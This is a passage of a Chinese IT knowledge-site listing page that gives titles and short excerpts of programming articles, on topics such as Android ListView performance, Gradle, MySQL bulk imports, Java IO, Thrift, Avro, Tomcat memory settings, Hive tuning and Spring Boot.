href="/article/684.htm" title="安卓程序listview优化后还是卡顿" target="_blank">安卓程序listview优化后还是卡顿</a> 肆无忌惮_ <a class="tag" taget="_blank" href="/search/ListView/1.htm">ListView</a> <div>最近用eclipse开发一个安卓app，listview使用baseadapter，里面有一个ImageView和两个TextView。使用了Holder内部类进行优化了还是很卡顿。后来发现是图片资源的问题。把一张分辨率高的图片放在了drawable-mdpi文件夹下，当我在每个item中显示，他都要进行缩放，导致很卡顿。解决办法是把这个高分辨率图片放到drawable-xxhdpi下。 &nb</div> </li> <li><a href="/article/811.htm" title="扩展easyUI tab控件，添加加载遮罩效果" target="_blank">扩展easyUI tab控件，添加加载遮罩效果</a> 知了ing <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a> <div>(function () { $.extend($.fn.tabs.methods, { //显示遮罩 loading: function (jq, msg) { return jq.each(function () { var panel = $(this).tabs(&</div> </li> <li><a href="/article/938.htm" title="gradle上传jar到nexus" target="_blank">gradle上传jar到nexus</a> 矮蛋蛋 <a class="tag" taget="_blank" href="/search/gradle/1.htm">gradle</a> <div>原文地址： https://docs.gradle.org/current/userguide/maven_plugin.html configurations {     deployerJars } dependencies {     deployerJars "org.apache.maven.wagon</div> </li> <li><a href="/article/1065.htm" title="千万条数据外网导入数据库的解决方案。" target="_blank">千万条数据外网导入数据库的解决方案。</a> alleni123 <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>从某网上爬了数千万的数据，存在文本中。然后要导入mysql数据库。悲剧的是数据库和我存数据的服务器不在一个内网里面。。 ping了一下， 19ms的延迟。于是下面的代码是没用的。 ps = con.prepareStatement(sql); ps.setString(1, info.getYear())............; ps.exec</div> </li> <li><a href="/article/1192.htm" title="JAVA IO InputStreamReader和OutputStreamReader" target="_blank">JAVA IO InputStreamReader和OutputStreamReader</a> 百合不是茶 <a class="tag" taget="_blank" href="/search/JAVA.io%E6%93%8D%E4%BD%9C+%E5%AD%97%E7%AC%A6%E6%B5%81/1.htm">JAVA.io操作字符流</a> <div>这是第三篇关于java.io的文章了，从开始对io的不了解-->熟悉--->模糊，是这几天来对文件操作中最大的感受，本来自己认为的熟悉了的，刚刚在回想起前面学的好像又不是很清晰了，模糊对我现在或许是最好的鼓励我会更加的去学加油！： JAVA的API提供了另外一种数据保存途径，使用字符流来保存的，字符流只能保存字符形式的流   字节流和字符的难点：a,怎么将读到的数据</div> </li> <li><a href="/article/1319.htm" title="MO、MT解读" target="_blank">MO、MT解读</a> bijian1013 <a class="tag" taget="_blank" href="/search/GSM/1.htm">GSM</a> <div>MO= Mobile originate，上行，即用户上发给SP的信息。MT= Mobile Terminate，下行，即SP端下发给用户的信息；上行:mo提交短信到短信中心下行:mt短信中心向特定的用户转发短信，你的短信是这样的，你所提交的短信，投递的地址是短信中心。短信中心收到你的短信后，存储转发，转发的时候就会根据你填写的接收方号码寻找路由，下发。在彩信领域是一样的道理。下行业务：由SP</div> </li> <li><a href="/article/1446.htm" title="五个JavaScript基础问题" target="_blank">五个JavaScript基础问题</a> bijian1013 <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/call/1.htm">call</a><a class="tag" taget="_blank" href="/search/apply/1.htm">apply</a><a class="tag" taget="_blank" href="/search/this/1.htm">this</a><a class="tag" taget="_blank" href="/search/Hoisting/1.htm">Hoisting</a> <div>下面是五个关于前端相关的基础问题，但却很能体现JavaScript的基本功底。问题1：Scope作用范围考虑下面的代码：  (function() { var a = b = 5; })(); console.log(b); 什么会被打印在控制台上？  回答：         上面的代码会打印 5。 &nbs</div> </li> <li><a href="/article/1573.htm" title="【Thrift二】Thrift Hello World" target="_blank">【Thrift二】Thrift Hello World</a> bit1129 <a class="tag" taget="_blank" href="/search/Hello+world/1.htm">Hello world</a> <div>本篇，不考虑细节问题和为什么，先照葫芦画瓢写一个Thrift版本的Hello World，了解Thrift RPC服务开发的基本流程   1. 在Intellij中创建一个Maven模块，加入对Thrift的依赖，同时还要加上slf4j依赖，如果不加slf4j依赖，在后面启动Thrift Server时会报错 <dependency> </div> </li> <li><a href="/article/1700.htm" title="【Avro一】Avro入门" target="_blank">【Avro一】Avro入门</a> bit1129 <a class="tag" taget="_blank" href="/search/%E5%85%A5%E9%97%A8/1.htm">入门</a> <div>本文的目的主要是总结下基于Avro Schema代码生成，然后进行序列化和反序列化开发的基本流程。需要指出的是，Avro并不要求一定得根据Schema文件生成代码，这对于动态类型语言很有用。   1. 添加Maven依赖   <?xml version="1.0" encoding="UTF-8"?> <proj</div> </li> <li><a href="/article/1827.htm" title="安装nginx+ngx_lua支持WAF防护功能" target="_blank">安装nginx+ngx_lua支持WAF防护功能</a> ronin47 <div>需要的软件:LuaJIT-2.0.0.tar.gz                   nginx-1.4.4.tar.gz          &nb</div> </li> <li><a href="/article/1954.htm" title="java-5.查找最小的K个元素-使用最大堆" target="_blank">java-5.查找最小的K个元素-使用最大堆</a> bylijinnan <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div> import java.util.Arrays; import java.util.Random; public class MinKElement { /** * 5.最小的K个元素 * I would like to use MaxHeap. * using QuickSort is also OK */ public static void</div> </li> <li><a href="/article/2081.htm" title="TCP的TIME-WAIT" target="_blank">TCP的TIME-WAIT</a> bylijinnan <a class="tag" taget="_blank" href="/search/socket/1.htm">socket</a> <div>原文连接： http://vincent.bernat.im/en/blog/2014-tcp-time-wait-state-linux.html 以下为对原文的阅读笔记说明：主动关闭的一方称为local end，被动关闭的一方称为remote end 本地IP、本地端口、远端IP、远端端口这一“四元组”称为quadruplet，也称为socket 1、TIME_WA</div> </li> <li><a href="/article/2208.htm" title="jquery ajax 序列化表单" target="_blank">jquery ajax 序列化表单</a> coder_xpf <a class="tag" taget="_blank" href="/search/Jquery+ajax+%E5%BA%8F%E5%88%97%E5%8C%96/1.htm">Jquery ajax 序列化</a> <div>   checkbox 如果不设定值，默认选中值为on；设定值之后，选中则为设定的值   <input type="checkbox" name="favor" id="favor" checked="checked"/> $("#favor&quo</div> </li> <li><a href="/article/2335.htm" title="Apache集群乱码和最高并发控制" target="_blank">Apache集群乱码和最高并发控制</a> cuisuqiang <a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/%E5%B9%B6%E5%8F%91/1.htm">并发</a><a class="tag" taget="_blank" href="/search/%E9%9B%86%E7%BE%A4/1.htm">集群</a><a class="tag" taget="_blank" href="/search/%E4%B9%B1%E7%A0%81/1.htm">乱码</a> <div>都知道如果使用Http访问，那么在Connector中增加URIEncoding即可，其实使用AJP时也一样，增加useBodyEncodingForURI和URIEncoding即可。最大连接数也是一样的，增加maxThreads属性即可，如下，配置如下： <Connector maxThreads="300" port="8019" prot</div> </li> <li><a href="/article/2462.htm" title="websocket" target="_blank">websocket</a> dalan_123 <a class="tag" taget="_blank" href="/search/websocket/1.htm">websocket</a> <div>一、低延迟的客户端-服务器和服务器-客户端的连接很多时候所谓的http的请求、响应的模式，都是客户端加载一个网页，直到用户在进行下一次点击的时候，什么都不会发生。并且所有的http的通信都是客户端控制的，这时候就需要用户的互动或定期轮训的，以便从服务器端加载新的数据。   通常采用的技术比如推送和comet（使用http长连接、无需安装浏览器安装插件的两种方式：基于ajax的长</div> </li> <li><a href="/article/2589.htm" title="菜鸟分析网络执法官" target="_blank">菜鸟分析网络执法官</a> dcj3sjt126com <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>  最近在论坛上看到很多贴子在讨论网络执法官的问题。菜鸟我正好知道这回事情.人道"人之患好为人师" 手里忍不住,就写点东西吧. 我也很忙.又没有MM,又没有MONEY....晕倒有点跑题. OK,闲话少说,切如正题. 要了解网络执法官的原理. 就要先了解局域网的通信的原理. 前面我们看到了.在以太网上传输的都是具有以太网头的数据包.&nbsp</div> </li> <li><a href="/article/2716.htm" title="Android相对布局属性全集" target="_blank">Android相对布局属性全集</a> dcj3sjt126com <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>RelativeLayout布局android:layout_marginTop="25dip" //顶部距离android:gravity="left" //空间布局位置android:layout_marginLeft="15dip //距离左边距 // 相对于给定ID控件android:layout_above 将该控件的底部置于给定ID的</div> </li> <li><a href="/article/2843.htm" title="Tomcat内存设置详解" target="_blank">Tomcat内存设置详解</a> eksliang <a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/tomcat%E5%86%85%E5%AD%98%E8%AE%BE%E7%BD%AE/1.htm">tomcat内存设置</a> <div>Java内存溢出详解   一、常见的Java内存溢出有以下三种：   1. java.lang.OutOfMemoryError: Java heap space ----JVM Heap（堆）溢出JVM在启动的时候会自动设置JVM Heap的值，其初始空间(即-Xms)是物理内存的1/64，最大空间(-Xmx)不可超过物理内存。可以利用JVM提</div> </li> <li><a href="/article/2970.htm" title="Java6 JVM参数选项" target="_blank">Java6 JVM参数选项</a> greatwqs <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/HotSpot/1.htm">HotSpot</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/jvm%E5%8F%82%E6%95%B0/1.htm">jvm参数</a><a class="tag" taget="_blank" href="/search/JVM+Options/1.htm">JVM Options</a> <div>Java 6 JVM参数选项大全（中文版）   作者：Ken Wu Email: ken.wug@gmail.com 转载本文档请注明原文链接 http://kenwublog.com/docs/java6-jvm-options-chinese-edition.htm！   本文是基于最新的SUN官方文档Java SE 6 Hotspot VM Opt</div> </li> <li><a href="/article/3097.htm" title="weblogic创建JMC" target="_blank">weblogic创建JMC</a> i5land <a class="tag" taget="_blank" href="/search/weblogic/1.htm">weblogic</a><a class="tag" taget="_blank" href="/search/jms/1.htm">jms</a> <div>进入 weblogic控制太 1.创建持久化存储 --Services--Persistant Stores--new--Create FileStores--name随便起--target默认--Directory写入在本机建立的文件夹的路径--ok 2.创建JMS服务器 --Services--Messaging--JMS Servers--new--name随便起--Pers</div> </li> <li><a href="/article/3224.htm" title="基于 DHT 网络的磁力链接和BT种子的搜索引擎架构" target="_blank">基于 DHT 网络的磁力链接和BT种子的搜索引擎架构</a> justjavac <a class="tag" taget="_blank" href="/search/DHT/1.htm">DHT</a> <div>上周开发了一个磁力链接和 BT 种子的搜索引擎 {Magnet & Torrent}，本文简单介绍一下主要的系统功能和用到的技术。系统包括几个独立的部分：使用 Python 的 Scrapy 框架开发的网络爬虫，用来爬取磁力链接和种子；使用 PHP CI 框架开发的简易网站；搜索引擎目前直接使用的 MySQL，将来可以考虑使</div> </li> <li><a href="/article/3351.htm" title="sql添加、删除表中的列" target="_blank">sql添加、删除表中的列</a> macroli <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a> <div>添加没有默认值：alter table Test add BazaarType char(1) 有默认值的添加列：alter table Test add BazaarType char(1) default(0) 删除没有默认值的列：alter table Test drop COLUMN BazaarType 删除有默认值的列：先删除约束（默认值）alter table Test DRO</div> </li> <li><a href="/article/3478.htm" title="PHP中二维数组的排序方法" target="_blank">PHP中二维数组的排序方法</a> abc123456789cba <a class="tag" taget="_blank" href="/search/%E6%8E%92%E5%BA%8F/1.htm">排序</a><a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a><a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a> <div><?php/*** @package     BugFree* @version     $Id: FunctionsMain.inc.php,v 1.32 2005/09/24 11:38:37 wwccss Exp $*** Sort an two-dimension array by some level </div> </li> <li><a href="/article/3605.htm" title="hive优化之------控制hive任务中的map数和reduce数" target="_blank">hive优化之------控制hive任务中的map数和reduce数</a> superlxw1234 <a class="tag" taget="_blank" href="/search/hive/1.htm">hive</a><a class="tag" taget="_blank" href="/search/hive%E4%BC%98%E5%8C%96/1.htm">hive优化</a> <div>一、    控制hive任务中的map数: 1.    通常情况下，作业会通过input的目录产生一个或者多个map任务。主要的决定因素有： input的文件总个数，input的文件大小，集群设置的文件块大小(目前为128M, 可在hive中通过set dfs.block.size;命令查看到，该参数不能自定义修改)；2.&nbsp</div> </li> <li><a href="/article/3732.htm" title="Spring Boot 1.2.4 发布" target="_blank">Spring Boot 1.2.4 发布</a> wiselyman <a class="tag" taget="_blank" href="/search/spring+boot/1.htm">spring boot</a> <div>Spring Boot 1.2.4已于6.4日发布，repo.spring.io and Maven Central可以下载(推荐使用maven或者gradle构建下载)。   这是一个维护版本，包含了一些修复small number of fixes,建议所有的用户升级。   Spring Boot 1.3的第一个里程碑版本将在几天后发布，包含许多</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> 按字母分类： <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.  </div> </div> </footer>  <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>